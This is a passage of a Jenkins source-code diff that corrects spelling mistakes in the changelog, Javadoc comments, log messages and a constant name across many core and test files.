.../src/main/java/hudson/tasks/Publisher.java | 2 +- .../java/hudson/tasks/UserNameResolver.java | 2 +- .../tools/DownloadFromUrlInstaller.java | 2 +- .../main/java/hudson/triggers/SCMTrigger.java | 4 +-- .../hudson/util/ByteArrayOutputStream2.java | 2 +- .../hudson/util/CharacterEncodingFilter.java | 2 +- .../java/hudson/util/ChunkedInputStream.java | 4 +-- .../main/java/hudson/util/CompressedFile.java | 4 +-- .../java/hudson/util/DescribableList.java | 4 +-- .../main/java/hudson/util/DescriptorList.java | 2 +- .../java/hudson/util/DoubleLaunchChecker.java | 2 +- .../java/hudson/util/FormFieldValidator.java | 4 +-- .../main/java/hudson/util/FormValidation.java | 2 +- core/src/main/java/hudson/util/IOUtils.java | 2 +- .../main/java/hudson/util/ListBoxModel.java | 2 +- .../main/java/hudson/util/PersistedList.java | 2 +- .../main/java/hudson/util/ProcessTree.java | 2 +- core/src/main/java/hudson/util/RunList.java | 2 +- .../hudson/util/SequentialExecutionQueue.java | 2 +- .../java/hudson/util/spring/BeanBuilder.java | 4 +-- .../spring/RuntimeSpringConfiguration.java | 2 +- .../java/hudson/views/ListViewColumn.java | 2 +- .../java/jenkins/install/InstallState.java | 4 +-- .../java/jenkins/install/InstallUtil.java | 2 +- .../java/jenkins/install/SetupWizard.java | 2 +- core/src/main/java/jenkins/model/Jenkins.java | 8 ++--- .../model/lazy/AbstractLazyLoadRunMap.java | 2 +- .../jenkins/mvn/GlobalSettingsProvider.java | 2 +- .../jenkins/security/UserDetailsCache.java | 20 ++++++------ .../security/s2m/AdminCallableMonitor.java | 2 +- .../java/jenkins/util/SystemProperties.java | 4 +-- .../main/resources/hudson/Messages.properties | 2 +- .../hudson/PluginManager/installed.jelly | 2 +- .../hudson/TcpSlaveAgentListener/index.jelly | 4 +-- .../AbstractProject/help-concurrentBuild.html | 2 +- .../EnvVarsHtml/index.groovy | 2 +- .../hudson/scm/SCM/project-changes.jelly | 2 +- .../slaves/JNLPLauncher/help.properties | 2 +- .../hudson/slaves/Messages.properties | 4 +-- .../tasks/BatchFile/help-unstableReturn.html | 2 +- .../help-quietPeriod.html | 2 +- .../lib/form/expandableTextbox.jelly | 2 +- .../lib/form/hetero-list/hetero-list.js | 2 +- .../resources/lib/form/optionalProperty.jelly | 2 +- .../resources/lib/hudson/propertyTable.jelly | 2 +- core/src/main/resources/lib/layout/html.jelly | 4 +-- core/src/main/resources/testng-1.0.dtd | 2 +- core/src/test/java/hudson/FunctionsTest.java | 2 +- .../test/java/hudson/PluginWrapperTest.java | 10 +++--- core/src/test/java/hudson/UtilTest.java | 10 +++--- .../java/hudson/model/AbstractItemTest.java | 2 +- .../hudson/model/FileParameterValueTest.java | 4 +-- core/src/test/java/hudson/model/UserTest.java | 4 +-- .../java/hudson/util/FormValidationTest.java | 8 ++--- licenseCompleter.groovy | 2 +- pom.xml | 2 +- .../groovy/hudson/cli/BuildCommandTest.groovy | 2 +- .../test/java/hudson/ExtensionListTest.java | 2 +- .../hudson/cli/DeleteViewCommandTest.java | 4 +-- .../hudson/diagnosis/OldDataMonitorTest.java | 2 +- .../java/hudson/model/AbstractBuildTest.java | 4 +-- .../java/hudson/model/FingerprintTest.java | 2 +- .../LabelLoadStatisticsQueueLengthTest.java | 2 +- .../test/java/hudson/model/MyViewTest.java | 4 +-- .../hudson/model/MyViewsPropertyTest.java | 12 +++---- test/src/test/java/hudson/model/NodeTest.java | 10 +++--- .../test/java/hudson/model/ProjectTest.java | 2 +- .../src/test/java/hudson/model/QueueTest.java | 2 +- test/src/test/java/hudson/model/UserTest.java | 6 ++-- test/src/test/java/hudson/model/ViewTest.java | 2 +- .../model/WorkspaceCleanupThreadTest.java | 2 +- .../java/hudson/scm/ChangeLogSetTest.java | 2 +- .../test/java/hudson/search/SearchTest.java | 6 ++-- .../src/test/java/hudson/tasks/MavenTest.java | 12 +++---- test/src/test/java/jenkins/I18nTest.java | 2 +- .../test/java/jenkins/model/JenkinsTest.java | 4 +-- .../jenkins/security/Security218CliTest.java | 6 ++-- .../ysoserial/payloads/FileUpload1.java | 2 +- test/src/test/resources/hudson/model/node.xml | 2 +- translation-tool.pl | 4 +-- war/images/readme.txt | 2 +- war/pom.xml | 2 +- war/src/main/js/widgets/config/tabbar.less | 10 +++--- war/src/main/js/widgets/variables.less | 2 +- war/src/main/webapp/WEB-INF/web.xml | 2 +- war/src/main/webapp/css/style.css | 8 ++--- war/src/main/webapp/scripts/combobox.js | 2 +- .../main/webapp/scripts/hudson-behavior.js | 12 +++---- .../test/js/widgets/config/scrollspy-spec.js | 2 +- 142 files changed, 254 insertions(+), 254 deletions(-) diff --git a/changelog.html b/changelog.html index ee15c0b0f6..187b789bbb 100644 --- a/changelog.html +++ b/changelog.html @@ -211,7 +211,7 @@ Upcoming changes Job configuration submission now does not fail when there is no parameters property. (issue 39700, regression in 1.637)

                                                • - Fix names of item loading and cleanup Jenkins initializatiion stages. + Fix names of item loading and cleanup Jenkins initialization stages. (issue 40489)
                                                • Performance: Use bulk change when submitting Job configurations @@ -506,7 +506,7 @@ Upcoming changes Performance: Avoid acquiring locks in MaskingClassloader. (issue 23784)
                                                • - Performance: Update XStream driver to improve performance of XML serilization/deserialization. + Performance: Update XStream driver to improve performance of XML serialization/deserialization. (pull 2561)
                                                • Harden checks of prohibited names in user creation logic. @@ -541,7 +541,7 @@ Upcoming changes Properly handle quotes and other special symbols in item names during form validation. (issue 31871)
                                                • - Internal: Invoke hpi:record-core-location during the build in order to enabled coordinated run accross repositories. + Internal: Invoke hpi:record-core-location during the build in order to enabled coordinated run across repositories. (pull 1894)
                                                • Internal: Bulk cleanup of @since definitions in Javadoc. @@ -580,13 +580,13 @@ Upcoming changes Decrease connection timeout when changing the JNLP agent port via Groovy system scripts. (issue 38473)
                                                • - Added Serbian locatization. + Added Serbian localization. (PR #2554)
                                                • Exclude /cli URL from CSRF protection crumb requirement, making the CLI work with CSRF protection enabled and JNLP port disabled. (issue 18114)
                                                • - Prevent instatination of jenkins.model.Jenkins on agents in the ProcessKillingVeto extension point. + Prevent instantiation of jenkins.model.Jenkins on agents in the ProcessKillingVeto extension point. (issue 38534)
                                                • Fix handling of the jenkins.model.Jenkins.slaveAgentPort system property, which was not honored. @@ -646,12 +646,12 @@ Upcoming changes (issue 37814)
                                                • Print warnings to system logs and administrative monitors - when Jenkins initializarion does not reach the final milestone. + when Jenkins initialization does not reach the final milestone. (issue 37874, diagnostics for issue-37759)
                                                • Developer API: UpdateSite#getJsonSignatureValidator() can be now - overriden and used in plugins. + overridden and used in plugins. (PR #2532)

                                                What's new in 2.20 (2016/08/28)

                                                @@ -728,7 +728,7 @@ Upcoming changes When checking Update Center, append ?uctest parameter to HTTP and HTTPS URLs only. (issue 37189)
                                              • - Incorrect formatting of messages in the Upate Center and Setup Wizard. + Incorrect formatting of messages in the Update Center and Setup Wizard. (issue 36757)
                                              • Massive cleanup of issues reported by FindBugs. @@ -770,7 +770,7 @@ Upcoming changes Don't load all builds to display the paginated build history widget. (issue 31791)
                                              • - Add dagnostic HTTP response to TCP agent listener. + Add diagnostic HTTP response to TCP agent listener. (issue 37223)
                                              • Internal: Invoke FindBugs during core build. @@ -1025,7 +1025,7 @@ Upcoming changes Fix keyboard navigation in setup wizard. (issue 33947)
                                              • - Cleanup of Javascript issues discovered by the JSHint static analyis tool. + Cleanup of Javascript issues discovered by the JSHint static analysis tool. (issue 35020)
                                              • DelegatingComputerLauncher now accepts child classes in its hooks @@ -1038,7 +1038,7 @@ Upcoming changes Internal: Add symbol annotation for SystemInfoLink. (PR #2375)
                                              • - Internal: NodeJS build was malfunctional on Win x64. + Internal: NodeJS build was malfunctioning on Win x64. (issue 35201)

                                              What's new in 2.6 (2016/05/22)

                                              @@ -1050,7 +1050,7 @@ Upcoming changes
                                            • Improve extensibility of the Setup Wizard GUI: InstallState and InstallStateFilter extension points. - (PR 2281 as supplimentary change for + (PR 2281 as supplementary change for issue 33663)
                                            • Improve User Experience in the New Item form. Submit button is always visible. @@ -1079,7 +1079,7 @@ Upcoming changes Migrate the leftover system properties to the new engine introduced in 2.4. (issue 34854)
                                            • - Do not show warnings abot a missing Tool Installer if it is present in at least one Update Site. + Do not show warnings about a missing Tool Installer if it is present in at least one Update Site. (issue 34880)
                                            • Prevent hanging of the installation wizard due to the plugin status update issue. @@ -1858,7 +1858,7 @@ Upcoming changes Label expression help is missing in recent Jenkins versions. (issue 29376)
                                            • - Pre-emptively break memory cycles causing excessive live-set retention in remoting layer. + Preemptively break memory cycles causing excessive live-set retention in remoting layer. (issue 28844)
                                            • Don't run trigger for disabled/copied projects. @@ -2779,10 +2779,10 @@ Upcoming changes Move 'None' Source Code Management option to top position. (issue 23434)
                                            • - Fixed NullPointerException when ArctifactArchiver is called for a build with the undefined status. + Fixed NullPointerException when ArtifactArchiver is called for a build with the undefined status. (issue 23526)
                                            • - Allow disabling use of default exclude patterns in ArctifactArchiver (.git, .svn, etc.). + Allow disabling use of default exclude patterns in ArtifactArchiver (.git, .svn, etc.). (issue 20086)
                                            • Fixed NullPointerException when "properties" element is missing in a job's configuration submission by JSON diff --git a/core/pom.xml b/core/pom.xml index 47891ece9d..51491b55ab 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -861,7 +861,7 @@ THE SOFTWARE. diff --git a/core/src/main/java/hudson/BulkChange.java b/core/src/main/java/hudson/BulkChange.java index 3c7da451f6..28b9fde426 100644 --- a/core/src/main/java/hudson/BulkChange.java +++ b/core/src/main/java/hudson/BulkChange.java @@ -54,7 +54,7 @@ import java.io.IOException; * *
                                                *
                                              1. - * Mutater methods should invoke {@code this.save()} so that if the method is called outside + * Mutator methods should invoke {@code this.save()} so that if the method is called outside * a {@link BulkChange}, the result will be saved immediately. * *
                                              2. @@ -78,7 +78,7 @@ public class BulkChange implements Closeable { public BulkChange(Saveable saveable) { this.parent = current(); this.saveable = saveable; - // rememeber who allocated this object in case + // remember who allocated this object in case // someone forgot to call save() at the end. allocator = new Exception(); diff --git a/core/src/main/java/hudson/FilePath.java b/core/src/main/java/hudson/FilePath.java index 2de31671dc..bb68b4e067 100644 --- a/core/src/main/java/hudson/FilePath.java +++ b/core/src/main/java/hudson/FilePath.java @@ -1202,7 +1202,7 @@ public final class FilePath implements Serializable { deleteFile(deleting(dir)); } catch (IOException e) { // if some of the child directories are big, it might take long enough to delete that - // it allows others to create new files, causing problemsl ike JENKINS-10113 + // it allows others to create new files, causing problems like JENKINS-10113 // so give it one more attempt before we give up. if(!isSymlink(dir)) deleteContentsRecursive(dir); @@ -2383,7 +2383,7 @@ public final class FilePath implements Serializable { for (String token : Util.tokenize(fileMask)) matched &= hasMatch(dir,token,caseSensitive); if(matched) - return Messages.FilePath_validateAntFileMask_whitespaceSeprator(); + return Messages.FilePath_validateAntFileMask_whitespaceSeparator(); } // a common mistake is to assume the wrong base dir, and there are two variations diff --git a/core/src/main/java/hudson/FileSystemProvisionerDescriptor.java b/core/src/main/java/hudson/FileSystemProvisionerDescriptor.java index ce0371ceec..1e02e11f7f 100644 --- a/core/src/main/java/hudson/FileSystemProvisionerDescriptor.java +++ b/core/src/main/java/hudson/FileSystemProvisionerDescriptor.java @@ -63,7 +63,7 @@ public abstract class FileSystemProvisionerDescriptor extends Descriptor - * In adition to what the current process + * In addition to what the current process * is inherited (if this is going to be launched from a agent agent, that * becomes the "current" process), these variables will be also set. */ diff --git a/core/src/main/java/hudson/LocalPluginManager.java b/core/src/main/java/hudson/LocalPluginManager.java index 25e48c053d..bde452ca7a 100644 --- a/core/src/main/java/hudson/LocalPluginManager.java +++ b/core/src/main/java/hudson/LocalPluginManager.java @@ -70,7 +70,7 @@ public class LocalPluginManager extends PluginManager { * If the war file has any "/WEB-INF/plugins/*.jpi", extract them into the plugin directory. * * @return - * File names of the bundled plugins. Like {"ssh-slaves.jpi","subvesrion.jpi"} + * File names of the bundled plugins. Like {"ssh-slaves.jpi","subversion.jpi"} */ @Override protected Collection loadBundledPlugins() { diff --git a/core/src/main/java/hudson/Plugin.java b/core/src/main/java/hudson/Plugin.java index 75af4fda01..bfe8e0fbe4 100644 --- a/core/src/main/java/hudson/Plugin.java +++ b/core/src/main/java/hudson/Plugin.java @@ -280,7 +280,7 @@ public abstract class Plugin implements Saveable { * Controls the file where {@link #load()} and {@link #save()} * persists data. * - * This method can be also overriden if the plugin wants to + * This method can be also overridden if the plugin wants to * use a custom {@link XStream} instance to persist data. * * @since 1.245 diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 495ba7ee3f..c793cef01b 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -942,7 +942,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas * If the war file has any "/WEB-INF/plugins/[*.jpi | *.hpi]", extract them into the plugin directory. * * @return - * File names of the bundled plugins. Like {"ssh-slaves.hpi","subvesrion.jpi"} + * File names of the bundled plugins. Like {"ssh-slaves.hpi","subversion.jpi"} * @throws Exception * Any exception will be reported and halt the startup. */ @@ -1011,7 +1011,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas URLConnection uc = url.openConnection(); InputStream in = null; // Magic, which allows to avoid using stream generated for JarURLConnection. - // It prevents getting into JENKINS-37332 due to the file desciptor leak + // It prevents getting into JENKINS-37332 due to the file descriptor leak if (uc instanceof JarURLConnection) { final JarURLConnection jarURLConnection = (JarURLConnection) uc; final String entryName = jarURLConnection.getEntryName(); @@ -1050,7 +1050,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas /*package*/ static long getModificationDate(@Nonnull URL url) throws IOException { URLConnection uc = url.openConnection(); - // It prevents file desciptor leak if the URL references a file within JAR + // It prevents file descriptor leak if the URL references a file within JAR // See JENKINS-37332 for more info // The code idea is taken from https://github.com/jknack/handlebars.java/pull/394 if (uc instanceof JarURLConnection) { @@ -1225,7 +1225,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas for (PluginWrapper p : activePlugins) { if (p.classLoader==cl) { if (oneAndOnly!=null) - return null; // ambigious + return null; // ambiguous oneAndOnly = p; } } @@ -1419,7 +1419,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas UpdateSite.Plugin plugin = getPlugin(pluginName, siteName); // There could be cases like: // 'plugin.ambiguous.updatesite' where both - // 'plugin' @ 'ambigiuous.updatesite' and 'plugin.ambiguous' @ 'updatesite' resolve to valid plugins + // 'plugin' @ 'ambiguous.updatesite' and 'plugin.ambiguous' @ 'updatesite' resolve to valid plugins if (plugin != null) { if (p != null) { throw new Failure("Ambiguous plugin: " + n); diff --git a/core/src/main/java/hudson/ProxyConfiguration.java b/core/src/main/java/hudson/ProxyConfiguration.java index f7ce804f5e..f1b7011f42 100644 --- a/core/src/main/java/hudson/ProxyConfiguration.java +++ b/core/src/main/java/hudson/ProxyConfiguration.java @@ -205,7 +205,7 @@ public final class ProxyConfiguration extends AbstractDescribableImpl { * @throws IllegalStateException * If cannot get active Jenkins instance or view can't contain a views * @throws AccessDeniedException - * If user doens't have a READ permission for the view + * If user doesn't have a READ permission for the view * @since 1.618 */ @CheckForNull diff --git a/core/src/main/java/hudson/init/impl/InstallUncaughtExceptionHandler.java b/core/src/main/java/hudson/init/impl/InstallUncaughtExceptionHandler.java index 7a37561571..be55c08ff4 100644 --- a/core/src/main/java/hudson/init/impl/InstallUncaughtExceptionHandler.java +++ b/core/src/main/java/hudson/init/impl/InstallUncaughtExceptionHandler.java @@ -45,7 +45,7 @@ public class InstallUncaughtExceptionHandler { "Failed to set the default UncaughtExceptionHandler. " + "If any threads die due to unhandled coding errors then there will be no logging of this information. " + "The lack of this diagnostic information will make it harder to track down issues which will reduce the supportability of Jenkins. " + - "It is highly recomended that you consult the documentation that comes with you servlet container on how to allow the " + + "It is highly recommended that you consult the documentation that comes with you servlet container on how to allow the " + "`setDefaultUncaughtExceptionHandler` permission and enable it.", ex); } } diff --git a/core/src/main/java/hudson/init/package-info.java b/core/src/main/java/hudson/init/package-info.java index 065b64a85c..9833d2090e 100644 --- a/core/src/main/java/hudson/init/package-info.java +++ b/core/src/main/java/hudson/init/package-info.java @@ -33,7 +33,7 @@ * *

                                                * Such micro-scopic dependencies are organized into a bigger directed acyclic graph, which is then executed - * via Session. During execution of the reactor, additional tasks can be discovred and added to + * via Session. During execution of the reactor, additional tasks can be discovered and added to * the DAG. We use this additional indirection to: * *

                                                  diff --git a/core/src/main/java/hudson/model/AbstractBuild.java b/core/src/main/java/hudson/model/AbstractBuild.java index a096635dfc..857934d6d8 100644 --- a/core/src/main/java/hudson/model/AbstractBuild.java +++ b/core/src/main/java/hudson/model/AbstractBuild.java @@ -853,7 +853,7 @@ public abstract class AbstractBuild

                                                  ,R extends Abs } /* - * No need to to lock the entire AbstractBuild on change set calculcation + * No need to lock the entire AbstractBuild on change set calculation */ private transient Object changeSetLock = new Object(); diff --git a/core/src/main/java/hudson/model/AbstractProject.java b/core/src/main/java/hudson/model/AbstractProject.java index b3d9413635..cdf98e5083 100644 --- a/core/src/main/java/hudson/model/AbstractProject.java +++ b/core/src/main/java/hudson/model/AbstractProject.java @@ -1151,7 +1151,7 @@ public abstract class AbstractProject

                                                  ,R extends A return new BlockedBecauseOfBuildInProgress(lastBuild); } else { // The build has been likely deleted after the isLogUpdated() call. - // Another cause may be an API implemetation glitÑh in the implementation for AbstractProject. + // Another cause may be an API implementation glitÑh in the implementation for AbstractProject. // Anyway, we should let the code go then. LOGGER.log(Level.FINE, "The last build has been deleted during the non-concurrent cause creation. The build is not blocked anymore"); } @@ -1618,7 +1618,7 @@ public abstract class AbstractProject

                                                  ,R extends A } /** - * Gets the specific trigger, or null if the propert is not configured for this job. + * Gets the specific trigger, or null if the property is not configured for this job. */ public T getTrigger(Class clazz) { for (Trigger p : triggers()) { diff --git a/core/src/main/java/hudson/model/Actionable.java b/core/src/main/java/hudson/model/Actionable.java index 84e52ea3c4..10e894331e 100644 --- a/core/src/main/java/hudson/model/Actionable.java +++ b/core/src/main/java/hudson/model/Actionable.java @@ -165,7 +165,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj * @since 1.548 * @see #addOrReplaceAction(Action) if you want to know whether the backing {@link #actions} was modified, for * example in cases where the caller would need to persist the {@link Actionable} in order to persist the change - * and there is a desire to elide unneccessary persistence of unmodified objects. + * and there is a desire to elide unnecessary persistence of unmodified objects. */ @SuppressWarnings({"ConstantConditions", "deprecation"}) @SuppressFBWarnings("RCN_REDUNDANT_NULLCHECK_OF_NONNULL_VALUE") diff --git a/core/src/main/java/hudson/model/ChoiceParameterDefinition.java b/core/src/main/java/hudson/model/ChoiceParameterDefinition.java index 964d05a214..f175bd001b 100644 --- a/core/src/main/java/hudson/model/ChoiceParameterDefinition.java +++ b/core/src/main/java/hudson/model/ChoiceParameterDefinition.java @@ -105,7 +105,7 @@ public class ChoiceParameterDefinition extends SimpleParameterDefinition { } /** - * Checks if parameterised build choices are valid. + * Checks if parameterized build choices are valid. */ public FormValidation doCheckChoices(@QueryParameter String value) { if (ChoiceParameterDefinition.areValidChoices(value)) { diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 0b52b1702f..3b87e42f23 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -190,7 +190,7 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces protected final Object statusChangeLock = new Object(); /** - * Keeps track of stack traces to track the tremination requests for this computer. + * Keeps track of stack traces to track the termination requests for this computer. * * @since 1.607 * @see Executor#resetWorkUnit(String) @@ -1274,7 +1274,7 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces * and then it would need to be loaded, which pulls in {@link Jenkins} and loads that * and then that fails to load as you are not supposed to do that. Another option * would be to export the logger over remoting, with increased complexity as a result. - * Instead we just use a loger based on this class name and prevent any references to + * Instead we just use a logger based on this class name and prevent any references to * other classes from being transferred over remoting. */ private static final Logger LOGGER = Logger.getLogger(ListPossibleNames.class.getName()); diff --git a/core/src/main/java/hudson/model/Descriptor.java b/core/src/main/java/hudson/model/Descriptor.java index 5271a3b855..461520cc27 100644 --- a/core/src/main/java/hudson/model/Descriptor.java +++ b/core/src/main/java/hudson/model/Descriptor.java @@ -456,7 +456,7 @@ public abstract class Descriptor> implements Saveable, } /** - * Used by Jelly to abstract away the handlign of global.jelly vs config.jelly databinding difference. + * Used by Jelly to abstract away the handling of global.jelly vs config.jelly databinding difference. */ public @CheckForNull PropertyType getPropertyType(@Nonnull Object instance, @Nonnull String field) { // in global.jelly, instance==descriptor @@ -792,7 +792,7 @@ public abstract class Descriptor> implements Saveable, /** * Invoked when the global configuration page is submitted. * - * Can be overriden to store descriptor-specific information. + * Can be overridden to store descriptor-specific information. * * @param json * The JSON object that captures the configuration data for this {@link Descriptor}. diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 88d39ac15f..0612daa9f1 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -568,7 +568,7 @@ public abstract class Job, RunT extends Run T getProperty(Class clazz) { diff --git a/core/src/main/java/hudson/model/JobPropertyDescriptor.java b/core/src/main/java/hudson/model/JobPropertyDescriptor.java index 2af8f74bc1..5a1676e2df 100644 --- a/core/src/main/java/hudson/model/JobPropertyDescriptor.java +++ b/core/src/main/java/hudson/model/JobPropertyDescriptor.java @@ -91,7 +91,7 @@ public abstract class JobPropertyDescriptor extends Descriptor> { Class applicable = Types.erasure(Types.getTypeArgument(pt, 0)); return applicable.isAssignableFrom(jobType); } else { - throw new AssertionError(clazz+" doesn't properly parameterize JobProperty. The isApplicable() method must be overriden."); + throw new AssertionError(clazz+" doesn't properly parameterize JobProperty. The isApplicable() method must be overridden."); } } diff --git a/core/src/main/java/hudson/model/Label.java b/core/src/main/java/hudson/model/Label.java index 6c36925850..5f47e942ee 100644 --- a/core/src/main/java/hudson/model/Label.java +++ b/core/src/main/java/hudson/model/Label.java @@ -574,7 +574,7 @@ public abstract class Label extends Actionable implements Comparable

                                                  - * This class provides a few hooks to augument the HTML generation process of Hudson, across + * This class provides a few hooks to augment the HTML generation process of Hudson, across * all the HTML pages that Hudson delivers. * *

                                                  diff --git a/core/src/main/java/hudson/model/ParameterDefinition.java b/core/src/main/java/hudson/model/ParameterDefinition.java index 20250924d9..23d37bd405 100644 --- a/core/src/main/java/hudson/model/ParameterDefinition.java +++ b/core/src/main/java/hudson/model/ParameterDefinition.java @@ -79,7 +79,7 @@ import org.kohsuke.stapler.export.ExportedBean; * through XStream. * * - *

                                                  Assocaited Views

                                                  + *

                                                  Associated Views

                                                  *

                                                  config.jelly

                                                  *

                                                  * {@link ParameterDefinition} class uses config.jelly to contribute a form diff --git a/core/src/main/java/hudson/model/ParameterValue.java b/core/src/main/java/hudson/model/ParameterValue.java index fbea3895fd..6da8ebe19a 100644 --- a/core/src/main/java/hudson/model/ParameterValue.java +++ b/core/src/main/java/hudson/model/ParameterValue.java @@ -276,7 +276,7 @@ public abstract class ParameterValue implements Serializable { * *

                                                  * This message is used as a tooltip to describe jobs in the queue. The text should be one line without - * new line. No HTML allowed (the caller will perform necessary HTML escapes, so any text can be returend.) + * new line. No HTML allowed (the caller will perform necessary HTML escapes, so any text can be returned.) * * @since 1.323 */ diff --git a/core/src/main/java/hudson/model/PermalinkProjectAction.java b/core/src/main/java/hudson/model/PermalinkProjectAction.java index 38e561a982..22c949e7d4 100644 --- a/core/src/main/java/hudson/model/PermalinkProjectAction.java +++ b/core/src/main/java/hudson/model/PermalinkProjectAction.java @@ -49,7 +49,7 @@ public interface PermalinkProjectAction extends Action { * *

                                                  * Because {@link Permalink} is a strategy-pattern object, - * this method should normally return a pre-initialzied + * this method should normally return a pre-initialized * read-only static list object. * * @return diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index f4325f7def..11720e9cfb 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -553,7 +553,7 @@ public class Queue extends ResourceController implements Saveable { * @param actions * These actions can be used for associating information scoped to a particular build, to * the task being queued. Upon the start of the build, these {@link Action}s will be automatically - * added to the {@link Run} object, and hence avaialable to everyone. + * added to the {@link Run} object, and hence available to everyone. * For the convenience of the caller, this list can contain null, and those will be silently ignored. * @since 1.311 * @return @@ -2822,7 +2822,7 @@ public class Queue extends ResourceController implements Saveable { @SuppressFBWarnings(value = "IA_AMBIGUOUS_INVOCATION_OF_INHERITED_OR_OUTER_METHOD", justification = "It will invoke the inherited clear() method according to Java semantics. " - + "FindBugs recommends suppresing warnings in such case") + + "FindBugs recommends suppressing warnings in such case") public void cancelAll() { for (T t : new ArrayList(this)) t.cancel(Queue.this); diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index eb0f7a63b1..f67171e008 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -688,7 +688,7 @@ public abstract class Run ,RunT extends Run,RunT extends Run * TODO: move out more stuff to {@link DumbSlave}. * - * On Febrary, 2016 a general renaming was done internally: the "slave" term was replaced by + * On February, 2016 a general renaming was done internally: the "slave" term was replaced by * "Agent". This change was applied in: UI labels/HTML pages, javadocs and log messages. * Java classes, fields, methods, etc were not renamed to avoid compatibility issues. * See JENKINS-27268. @@ -123,7 +123,7 @@ public abstract class Slave extends Node implements Serializable { private Mode mode = Mode.NORMAL; /** - * Agent availablility strategy. + * Agent availability strategy. */ private RetentionStrategy retentionStrategy; @@ -496,7 +496,7 @@ public abstract class Slave extends Node implements Serializable { * @since 2.12 */ @Nonnull - @Restricted(NoExternalUse.class) // intedned for use by Jelly EL only (plus hack in DelegatingComputerLauncher) + @Restricted(NoExternalUse.class) // intended for use by Jelly EL only (plus hack in DelegatingComputerLauncher) public final List> computerLauncherDescriptors(@CheckForNull Slave it) { DescriptorExtensionList> all = Jenkins.getInstance().>getDescriptorList( diff --git a/core/src/main/java/hudson/model/TaskAction.java b/core/src/main/java/hudson/model/TaskAction.java index fbf46b9461..00b1ba364a 100644 --- a/core/src/main/java/hudson/model/TaskAction.java +++ b/core/src/main/java/hudson/model/TaskAction.java @@ -49,7 +49,7 @@ import hudson.security.ACL; */ public abstract class TaskAction extends AbstractModelObject implements Action { /** - * If non-null, that means either the activitiy is in progress + * If non-null, that means either the activity is in progress * asynchronously, or it failed unexpectedly and the thread is dead. */ protected transient volatile TaskThread workerThread; diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index 205434407a..98e9426bf4 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -255,7 +255,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas public static UpdateCenter createUpdateCenter(@CheckForNull UpdateCenterConfiguration config) { String requiredClassName = SystemProperties.getString(UpdateCenter.class.getName()+".className", null); if (requiredClassName == null) { - // Use the defaul Update Center + // Use the default Update Center LOGGER.log(Level.FINE, "Using the default Update Center implementation"); return createDefaultUpdateCenter(config); } diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index 3a234941a4..9c127a335e 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -109,7 +109,7 @@ public class UpdateSite { * *

                                                  * There's normally some delay between when we send HTML that includes the check code, - * until we get the data back, so this variable is used to avoid asking too many browseres + * until we get the data back, so this variable is used to avoid asking too many browsers * all at once. */ private transient volatile long lastAttempt; diff --git a/core/src/main/java/hudson/model/UsageStatistics.java b/core/src/main/java/hudson/model/UsageStatistics.java index 2118d67d70..1fdbcca892 100644 --- a/core/src/main/java/hudson/model/UsageStatistics.java +++ b/core/src/main/java/hudson/model/UsageStatistics.java @@ -206,7 +206,7 @@ public class UsageStatistics extends PageDecorator { } /** - * Asymmetric cipher is slow and in case of Sun RSA implementation it can only encyrypt the first block. + * Asymmetric cipher is slow and in case of Sun RSA implementation it can only encrypt the first block. * * So first create a symmetric key, then place this key in the beginning of the stream by encrypting it * with the asymmetric cipher. The rest of the stream will be encrypted by a symmetric cipher. diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index 2c65dd4ea8..bc9956add4 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -128,14 +128,14 @@ public class User extends AbstractModelObject implements AccessControlled, Descr /** * The username of the 'unknown' user used to avoid null user references. */ - private static final String UKNOWN_USERNAME = "unknown"; + private static final String UNKNOWN_USERNAME = "unknown"; /** * These usernames should not be used by real users logging into Jenkins. Therefore, we prevent * users with these names from being saved. */ private static final String[] ILLEGAL_PERSISTED_USERNAMES = new String[]{ACL.ANONYMOUS_USERNAME, - ACL.SYSTEM_USERNAME, UKNOWN_USERNAME}; + ACL.SYSTEM_USERNAME, UNKNOWN_USERNAME}; private transient final String id; private volatile String fullName; @@ -353,7 +353,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr * This is used to avoid null {@link User} instance. */ public static @Nonnull User getUnknown() { - return getById(UKNOWN_USERNAME, true); + return getById(UNKNOWN_USERNAME, true); } /** @@ -720,7 +720,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr * @since 1.600 */ public static boolean isIdOrFullnameAllowed(@CheckForNull String id) { - //TODO: StringUtils.isBlank() checks the null falue, but FindBugs is not smart enough. Remove it later + //TODO: StringUtils.isBlank() checks the null value, but FindBugs is not smart enough. Remove it later if (id == null || StringUtils.isBlank(id)) { return false; } @@ -1015,7 